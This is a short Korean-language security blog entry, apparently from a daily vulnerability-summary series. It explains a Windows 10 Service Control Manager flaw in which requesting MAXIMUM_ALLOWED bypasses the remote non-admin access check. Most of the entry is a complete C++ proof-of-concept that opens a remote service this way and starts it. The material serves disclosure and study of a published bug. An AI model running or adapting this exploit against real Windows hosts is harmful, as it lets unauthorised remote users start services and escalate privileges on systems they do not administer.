[하루한줄] Windows SCM Remote Access Check Limit Bypass EoP

URL

Issue 2147: Windows: SCM Remote Access Check Limit Bypass EoP

Target

  • Windows 10 20H2

Explain

Windows 10 1709 이후 원격으로 local admin group이 아닌 원격 사용자가 SCMservice access에 접근 할 수 없도록 적용되었습니다.

사용자가 local 관리자 그룹에 없는 경우 OpenSCManager 또는 OpenService에 전달된 Access mask0xD0072에 대해 ScAccessCheckAndAudit에서 검사됩니다. 만약 access mask에 access 권한이 있으면 SCM이 access denied error와 함께 거절합니다. 이렇게 하면 원격 사용자가 SERVICE_START 혹은 SC_MANAGER_CREATE_SERVICE를 사용 할 수 없습니다.

하지만 원하는 access 권한은 RPC 호출에서 NtAccessCheckAndAuditAlarm으로 전달되고 access 권한은 Service Handle에 다시 기록됩니다.

따라서 이 검증은 MAXIMUM_ALLOWED를 request 함으로써 우회할 수 있습니다. POC 코드는 다음과 같습니다.

#include <stdio.h>
#include <windows.h>

int wmain(int argc, wchar_t** argv)
{
    if (argc < 3)
    {
        printf("Usage: HostName ServiceName\\n");
        return 1;
    }

    auto scm = OpenSCManager(argv[1], nullptr, MAXIMUM_ALLOWED);
    if (scm == nullptr)
    {
        printf("[ERROR]: Failed to open SCM error:%d\\n", GetLastError());
        return 0;
    }

    auto service = OpenService(scm, argv[2], SERVICE_START);
    if (service)
    {
        printf("[ERROR]: Was granted SERVICE_START when we didn't expect it. Maybe using the wrong user?\\n");
        return 0;
    }

    DWORD error = GetLastError();
    if (error == ERROR_SERVICE_DOES_NOT_EXIST)
    {
        printf("[ERROR]: Service doesn't exist.\\n");
        return 0;
    }

    if (error != ERROR_ACCESS_DENIED)
    {
        printf("[ERROR]: Expected ERROR_ACCESS_DENIED but got %d, the rest might not work.\\n", GetLastError());
    }

    service = OpenService(scm, argv[2], MAXIMUM_ALLOWED);
    if (service == nullptr)
    {
        printf("[ERROR]: Failed to open service error:%d\\n", GetLastError());
        return 0;
    }

    error = ERROR_SUCCESS;
    if (!StartService(service, 0, nullptr))
    {
        error = GetLastError();
    }

    switch (error)
    {
        case ERROR_ACCESS_DENIED:
            printf("[ERROR]: Got access denied error.\\n");
            break;
        case ERROR_SUCCESS:
            printf("[SUCCESS]: Successfully started service.\\n");
            break;
        case ERROR_SERVICE_DISABLED:
            printf("[SUCCESS]: Service was disabled but passed the access check.\\n");
            break;
        default:
            printf("[WARNING]: Didn't start service but didn't get back expected error:%d\\n", error);
    }

    return 0;
}